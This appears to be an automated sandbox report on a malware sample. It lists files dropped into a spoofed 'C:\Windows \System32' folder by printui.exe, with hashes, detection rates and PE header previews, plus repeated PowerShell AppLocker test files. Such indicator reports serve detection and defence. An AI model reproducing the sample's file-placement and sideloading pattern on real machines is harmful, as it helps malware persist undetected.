SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\System32\console_zero.exe

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	664576
Entropy (8bit):	6.597433055098113
Encrypted:	false
SSDEEP:	12288:JKDPkqL1NxW6CDBPXRiD2xTph0lhSMXli6Yuej+4M7:JQhN+9PXYDQh0lhSMXlpYuej+
MD5:	A11604F5C925DDAADF2988AF05F4071B
SHA1:	8386D55390E0C9B45BEF2EDC18A578266E6745F0
SHA-256:	4F0C445628E2DC8D1E2409687CADF5EBCC7306747EDF3C9DC80011E9D8D01905
SHA-512:	06E4B8B88CE6445B4F32E01BE11B24CCE71CCA4B2D1040A02517697EA779C04C85ACDACE380D52B919658723AC85F3F35E68E4C0B49BEB38602945902F0B1055
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~....yV..yV..yV..\|Wz.yV..}W..yV..zW..yV.zW..yV.}W..yV.\|W..yVT.xW..yV..xW..yV..xVH.yVT.pW..yVT..V..yVT.{W..yVRich..yV........................PE..d....:Sg.........."....*..... ......p..........@..........................................`.................................................L...P....`...........L...........p..T...0...8...............................@............0...............................text............................... ..`.rdata..8....0......................@..@.data....3..........................@....pdata...L.......N..................@..@.fptable.....P......................@....rsrc........`......................@..@.reloc..T....p......................@..B........................................................................................................................................................................................

C:\Windows\System32\libcrypto-3-x64.dll

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4684800
Entropy (8bit):	6.761708409908653
Encrypted:	false
SSDEEP:	98304:E1+WtBcda7nzo7Vd8qQQPQ1CPwDvt3uFGCC:gXtBcda7nzo7Vd8qQQY1CPwDvt3uFGCC
MD5:	158F0E7C4529E3867E07545C6D1174A9
SHA1:	9FF0CCCB271F0215AD24427B7254832549565154
SHA-256:	DCC1FA1A341597DDB1476E3B5B3952456F07870A26FC30B0C6E6312764BAA1FC
SHA-512:	51E79D8D0AB183046F87AA659973B45147BB1E1AE8883F688C615CCB18BF9FCCB8779DD872B01748BACD56E141BC096C2BB4CCF32EBD7A49ADC76363355E40FE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............vI..vI..vI..I..vI;DwH..vI;DsH..vI;DrH..vI;DuH..vI..wI.vI..wH..vI..vI..vI.GrHl.vI.GvH..vI.G.I..vI.GtH..vIRich..vI........PE..d...d.Lf.........." ...'..4..........4.......................................G...........`...........................................A. ... @D.@....0G.......D.LH...........@G.L.....?.T.............................?.@.............4..............................text...8.4.......4................. ..`.rdata.......4.......4.............@..@.data....t...`D..J...JD.............@....pdata..LH....D..J....D.............@..@.rsrc........0G.......F.............@..@.reloc..L....@G.......F.............@..B................................................................................................................................................................................................................................................

C:\Windows\System32\libcurl.dll

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	588800
Entropy (8bit):	6.3852695857936554
Encrypted:	false
SSDEEP:	12288:1dkYvMQmNkYBasGpIFetxo8u3zTkIXmaKSTQP76NuudqbaRArq:1zvMQmmYB4KQ7nu3zuSTQP76NuudqbaF
MD5:	18CE47F58B4C1A9CFC1EDF7C8BF49B7C
SHA1:	E74D08AB06ED8200D7E674D8031D6DF8250DE8CB
SHA-256:	36D97F1C254832CEE9698CEA2F1A63EA98D231641FD29715EF581BE103ACE602
SHA-512:	19B2D6968095C4E8F08C66AB73E7EC5E0439712BCB2777266602EF2AD123A779395A3D44BC0C7C9945376998FB2165BC60E6BF682863A55A0CFF40C720594BDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$............\|.X.\|.X.\|.X...X.\|.X...Y.\|.X..`X.\|.X...Y.\|.X...Y.\|.X...Y.\|.X...Y.\|.X.\|.Xh\|.X...Y.\|.X...Y.\|.X...Y.\|.X..bX.\|.X.\|.X.\|.X...Y.\|.XRich.\|.X........................PE..d...o..f.........." ...).....`......@........................................0............`..........................................Q..$...4[..T................Z........... ..0... ...T...............................@...............`............................text.............................. ..`.rdata..D...........................@..@.data....1...p...*...d..............@....pdata...Z.......\..................@..@.rsrc...............................@..@.reloc..0.... ......................@..B................................................................................................................................................................................................................

C:\Windows\System32\libiconv-2.dll

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1851113
Entropy (8bit):	6.295735352298234
Encrypted:	false
SSDEEP:	24576:SAlxpPnBAUZLY9OVbbTiZGavkg3NyeuQ6l9fH+f2ykqZrkgecviRd7mQFz:DPnBAUZLY9OEZGaXBuQQ9e2YYUQFz
MD5:	158BC77453D382CF6679CE35DF740CC5
SHA1:	9A3C123CE4B6F6592ED50D6614387D059BFB842F
SHA-256:	CF131738F4B5FE3F42E9108E24595FC3E6573347D78E4E69EC42106C1EEBE42C
SHA-512:	6EB1455537CB4E62E9432032372FAE9CE824A48346E00BAF38EF2F840E0ED3F55ACAEE2656DA656DB00AE0BDEF808F8DA291DD10D7453815152EDA0CCFC73147
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...8.Jd....q.....& ..."............P..........f............................................. .................................................D....@..........d............P..................................(.......................p............................text..............................`.P`.data...............................@.P..rdata..............................@.`@.pdata..d...........................@.0@.xdata..............................@.0@.bss..................................`..edata..............................@.0@.idata..D...........................@.0..CRT....X.... ......................@.@..tls.........0......................@.@..rsrc........@......................@.0..reloc.......P......................@.0B/4...... ....`......................@..B/19.....m....p... ..................@..B/31......2.......4..................@..B/45.....

C:\Windows\System32\libintl-9.dll

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	475769
Entropy (8bit):	5.442192544327632
Encrypted:	false
SSDEEP:	12288:YoSRYqB/kDraXbQTNRC6RsclS8DzT6Bam:+YY/kDraLQTNRCPWDzT6Bam
MD5:	E79E7C9D547DDBEE5C8C1796BD092326
SHA1:	8E50B296F4630F6173FC77D07EEA36433E62178A
SHA-256:	1125AC8DC0C4F5C3ED4712E0D8AD29474099FCB55BB0E563A352CE9D03EF1D78
SHA-512:	DBA65731B7ADA0AC90B4122C7B633CD8D9A54B92B2241170C6F09828554A0BC1B0F3EDF6289B6141D3441AB11AF90D6F8210A73F01964276D050E57FB94248E2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......[.H........& .....D....................(h....................................0......... ......................................................@..8....................P..p........................... 0..(....................................................text...8C.......D..................`.P`.data........`.......J..............@.`..rdata..0M...p...N...L..............@.`@.pdata..............................@.0@.xdata..d...........................@.0@.bss....P.............................`..edata..............................@.0@.idata..............................@.0..CRT....X.... ......................@.@..tls....h....0......................@.`..rsrc...8....@......................@.0..reloc..p....P......................@.0B/4...........`......................@.PB/19..........p......................@..B/31.....1:.......<..................@..B/45.....

C:\Windows\System32\libpq.dll

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	327168
Entropy (8bit):	6.055910692008984
Encrypted:	false
SSDEEP:	6144:veJ/i9L1mle2NwGTQ46ZEEKN4zP2/SHzI4l/4OMx7apSPIYuh0L/iXmJ:gmV2NwQQ3G4zP22rOIy
MD5:	EF060E5C414B7BE5875437FF2FB8EC54
SHA1:	6DCF04DFF9B25BE556EC97660F95ACF708C0C870
SHA-256:	E6ACED8D30471F35B37ABBF172CE357B6A8F18AF5FEB342B6CFFC01D3378F2B4
SHA-512:	67BFF321BA901A0B0DC0F6C4A723D7DF35418F593E16E6193673CCE5190D76355409F676C1EA5D0CB46493F5735209089A3A52D3D716EB8187BF6E846792E2E8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........t3R..`R..`R..`[..`D..`To.aP..`To.`T..`To.a_..`To.aZ..`To.aV..`...a^..`n..aU..`R..`K..`=o.ag..`=o.aS..`=o.`S..`R.`S..`=o.aS..`RichR..`........................PE..d.....:f.........." ...&.l...........e.......................................@............`...@...................................................... ..........,"...........0.......k..T...........................pj..@...............p............................text...xj.......l.................. ..`.rdata..vT.......V...p..............@..@.data...............................@....pdata..,".......$..................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................

C:\Windows\System32\libssl-3-x64.dll

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	818176
Entropy (8bit):	6.269258421632734
Encrypted:	false
SSDEEP:	12288:NGbc08emtUas2F158w1T4qLgl85MNRlqnZ5ydEVB3i:NGoL9W0lJ5cR9dEVB3
MD5:	69D0FEE0CC47C3B255C317F08CE8D274
SHA1:	782BC8F64B47A9DCEDC95895154DCA60346F5DD7
SHA-256:	BA979C2DBFB35D205D9D28D97D177F33D501D954C7187330F6893BB7D0858713
SHA-512:	4955252C7220810ED2EACA002E57D25FBC17862F4878983C4351C917CF7873EB84AE00E5651583004F15A08789BE64BDB34FF20CB0E172C9C1376706DEB4AA1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5...q..q..q..x.'.c...O..s...O..\|...O..y...O..u..:...u...L..r..q..*...L......L..p...LK.p...L..p..Richq..................PE..d...d.Lf.........." ...'..................................................................`..........................................0...K...{..................Hr..............\.......T...............................@............................................text...X........................... ..`.rdata..L...........................@..@.data...8=.......8..................@....pdata..Hr.......t..................@..@.rsrc................`..............@..@.reloc..\............d..............@..B........................................................................................................................................................................................................................................

C:\Windows\System32\libwinpthread-1.dll

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	5.840253326728635
Encrypted:	false
SSDEEP:	768:fE20UsQSmxsJ/jPxsiFFnoCImovqcyz88rtYNChvThLaim3Yu/g/D8:cis0sP5FBQ7vU9BYshtaim3Yuo78
MD5:	9DC829C2C8962347BC9ADF891C51AC05
SHA1:	BF9251A7165BB2981E613AC5D9051F19EDB68463
SHA-256:	FFE2D56375BB4E8BDEE9037DF6BEFC5016DDD8871D0D85027314DD5792F8FDC9
SHA-512:	FD7E6F50A21CB59075DFA08C5E6275FD20723B01A23C3E24FB369F2D95A379B5AC6AE9F509AA42861D9C5114BE47CCE9FF886F0A03758BFDC3A2A9C4D75FAB56
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....\|.....................d.............................P................ ......................................................0..P....................@..h........................... ..(....................................................text...({.......\|..................`.P`.data...............................@.P..rdata..............................@.P@.pdata..............................@.0@.xdata..............................@.0@.bss..................................p..edata..............................@.0@.idata..............................@.0..CRT....`...........................@.@..tls....h.... ......................@.`..rsrc...P....0......................@.0..reloc..h....@......................@.0B................................................................................................................................

C:\Windows\System32\svcldr64.dat

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17358848
Entropy (8bit):	6.404640505323237
Encrypted:	false
SSDEEP:	393216:jPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRC9ETQP76NuudqeZyFZHSdEVB3:jITkg
MD5:	DC1130797B2661AC54DA728D9D26D433
SHA1:	731542701D282E8E69595FD95154F14999B00CDB
SHA-256:	4121A5FBCA33176256997F4B6F23352D39D68EC13967A45A03A0CDA056FAFF3A
SHA-512:	2C04DF1F744ACAE8BA113C37A740CED87F3EEEFBD071140FF369E4F5986E996F15F514FE416C02CB573596652E1CD9CD725058608E021D007100AD9CD1E466F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t...[..[..[...ZB..[...Z...[...Z..[.).Z..[.).Z..[.).Z...[...Z..[..[x..[l).Z..[l).[..[l).Z..[Rich..[........PE..d....pUg.........." ....$...................................................@............`.....................................................<.... ...........,...........0.......A..8...........................p@..@............@..H............................text....".......$.................. ..`.rdata...e...@...f...(..............@..@.data..............................@....pdata...,..........................@..@.fptable............................@....rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................

C:\Windows\System32\ucrtbased.dll

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1786880
Entropy (8bit):	6.056894707447503
Encrypted:	false
SSDEEP:	24576:JUV0C8E3W4JoceLErS6P0qoc6uoPrT5PgVBHmaw+zrGOzli7Gi0m9ZRXyYk:i8/B90ozghlGJ7js
MD5:	C3130CFB00549A5A92DA60E7F79F5FC9
SHA1:	56C2E8FB1AF609525B0F732BB67B806BDDAB3752
SHA-256:	EEE42EABC546E5AA760F8DF7105FCF505ABFFCB9EC4BF54398436303E407A3F8
SHA-512:	29BAB5B441484BDFAC9EC21CD4F0F7454AF05BFD7D77F7D4662AEAEAA0D3E25439D52AA341958E7896701546B4A607D3C7A32715386C78B746DFAE8529A70748
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'.S.c.=.c.=.c.=.j...P.=.c.<...=..}.b.=..}.S.=..}.'.=..}...=..}.u.=..}.b.=..}.b.=.Richc.=.........PE..d...~.!U.........." .................................................................g....`A........................................p........C..................x................... ...............................`...................H............................text............................... ..`.rdata...x.......z..................@..@.data...(Z...`...$...J..............@....pdata..x............n..............@..@.rsrc................2..............@..@.reloc...............8..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\vcruntime140d.dll

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131920
Entropy (8bit):	6.0574531251583865
Encrypted:	false
SSDEEP:	1536:QB6NlnzaWMj6FBknM+eHLEQE9gHAWdwfP5sd4Sohg7vMHvqZecb399R0BqZEBFP:QBYl5MOcM1HAb1wM0ecb39/0BqZEjP
MD5:	F57FB935A9A76E151229F547C2204BBA
SHA1:	4021B804469816C3136B40C4CEB44C8D60ED15F5
SHA-256:	A77277AF540D411AE33D371CC6F54D7B0A1937E0C14DB7666D32C22FC5DCA9C0
SHA-512:	CD9FC3FC460EBA6A1B9F984B794940D28705ECB738DF8595C2341ABE4347141DB14A9FF637C9F902E8742F5C48BBB61DA7D5E231CC5B2BAD2E8746C5A3E3E6ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........].AB<..B<..B<....h.@<....L.A<..B<..l<..yb..I<..yb..V<..yb..Z<..yb..C<..yb\.C<..yb..C<..RichB<..................PE..d....LZW.........." .....j...\......pg....................................... ...........`A...........................................4.......<.......................P?......t...p...T...........................................................................text....h.......j.................. ..`.rdata..F5.......6...n..............@..@.data...............................@....pdata..............................@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..t...........................@..B........................................................................................................................................................................................................................

C:\Windows\System32\winsvcf\winlogsvc

Process:	C:\Windows \System32\printui.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.4570213711387385
Encrypted:	false
SSDEEP:	12:qm4BYhVXAst2cx7OxeM5Uww4BN/Qfxsmhhaw:qmYyX2CM5r/Xmhhaw
MD5:	5B5E3152B3862FB64A11F90D69D3F481
SHA1:	BF9F3A4201897A77F41E5434B128317C43C9EBAF
SHA-256:	6F974DA1622596197B659CBC9E7D5D0BB3AA497B3330C73066A4D873DABB5EC7
SHA-512:	3D51A384D25604ADFED6D13E04B5D369C3AAC957E908B887014700F24FF9762BA13DC0BFA8689572AEA3C74963CA6F6679762DE132148114097554D1CDBAF239
Malicious:	false
Preview:	.....S.N....A....N...-.p...Hbx.Q...Q.=L.4#V.s...N..)...+c...._.;.j;....+.q....4.S..c.\.X.. .$.ba.t...x.-3..M..a..+.A...#.........Pq9..i..ET.B..A..PP...p-...Y,.9"./oc.\|\.H&..<{..5..c^..K..#...../..'a.S....[.....hZ.........3....{.].\;a}.n...t...'.=_!.A.....?.=Kq....g.....S....F..N._...>..MZ"....0a.9.f~.a.]...n..f.@NB....4...E..9..{#b.w..x...Q.Y./...b.[F.h........h....Y(..T.m...

C:\Windows\System32\x610437.dat

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1942528
Entropy (8bit):	6.556537842003726
Encrypted:	false
SSDEEP:	24576:hwi2L2FteBN/9f+h0lhSMXlyfewf6oV9h0lhSMXln98GzsiP8GLC8h0lhSMXl8zP:hwi2aGxrmewfv01P8NBMdV
MD5:	3CAA0B1816E151EF0416D4C76AB83F5F
SHA1:	DC71D8A96797BFE0E4A8965CF50AB90AF4809FD8
SHA-256:	02D8C3462AB0A04375AB72739C11B112BEBF434E7A6FA0796839DA4B74B6F6B2
SHA-512:	9419450A7C6E0B49C5B19AC4493199DECF718AE0E2D28E9504C8A69B3E38B29A13495FE1F3DAA2B4DA6C1D642D880E50FEF92DC467B5926A5B80C2960D6A1B1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......l4.v(U.%(U.%(U.%Z.$.U.%Z.$.U.%9.$"U.%9.$&U.%9.$HU.%..$U.%Z.$<U.%8.$%U.%G.$U.%Z.$'U.%(U.%#T.%..$9U.%..$)U.%..z%)U.%..$)U.%Rich(U.%................PE..d....:Sg.........." ...*.8..........,.....................................................`.............................................P...`................P..`x..................`...8.......................(... ...@............P...............................text....6.......8.................. ..`.rdata......P.......<..............@..@.data...LO.......0..................@....pdata..`x...P...z..................@..@.fptable............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................

C:\Windows\System32\zlib1.dll

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	90624
Entropy (8bit):	6.509332615593886
Encrypted:	false
SSDEEP:	1536:Wc9wKxbEwda1CzUbFfbpVxyRyxpGTlKAbe6IOcIOZyyFz5o9X2153:7uKxbEwUEAhbprCOGTKISZyuVo9GT
MD5:	F53D1EFEA4855DA42DA07DE49D80BA68
SHA1:	920349F4BD5A5B8E77195C81E261DFA2177EB1EE
SHA-256:	7E9F43688189578042D791E3E5301165316EDC7C1ED739E0669C033A3CA08037
SHA-512:	5D72F64B8E5C42A3C9A7BCBBE8A1598A85402ADE4F312AB9E26869F8B39952A3AA037F2CF7DA89E686C5BC3FCB221FEEAE077B9FFD2EEF98DAC0E307637FE7BD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b...&.i.&.i.&.i./.....i.6qh.%.i.6q..".i.6qj.%.i.6qm...i.6ql.*.i.Vth.$.i.&.h...i.npm.).i.npi.'.i.np..'.i.&...'.i.npk.'.i.Rich&.i.........PE..d...a..f.........." ...)..................................................................`..........................................O......@W..........P....p..@...............l....>..T...........................`=..@...............x............................text............................... ..`.rdata...l.......n..................@..@.data........`.......L..............@....pdata..@....p.......N..............@..@.rsrc...P............Z..............@..@.reloc..l............`..............@..B........................................................................................................................................................................................................................................

C:\Windows\Temp\__PSScriptPolicyTest_2tgywyke.nsp.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_42t15kgk.lif.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_4hgt2obz.1nk.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_cnxjiwyb.5ic.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_cpkhrtd1.wng.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_esz2me2o.4yq.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_gkizoxel.b5l.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ita4czgs.dqj.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_oz11skp1.i0i.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qjcrup5p.03t.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qojbd3gp.yi2.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qv5xyoo3.yy1.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
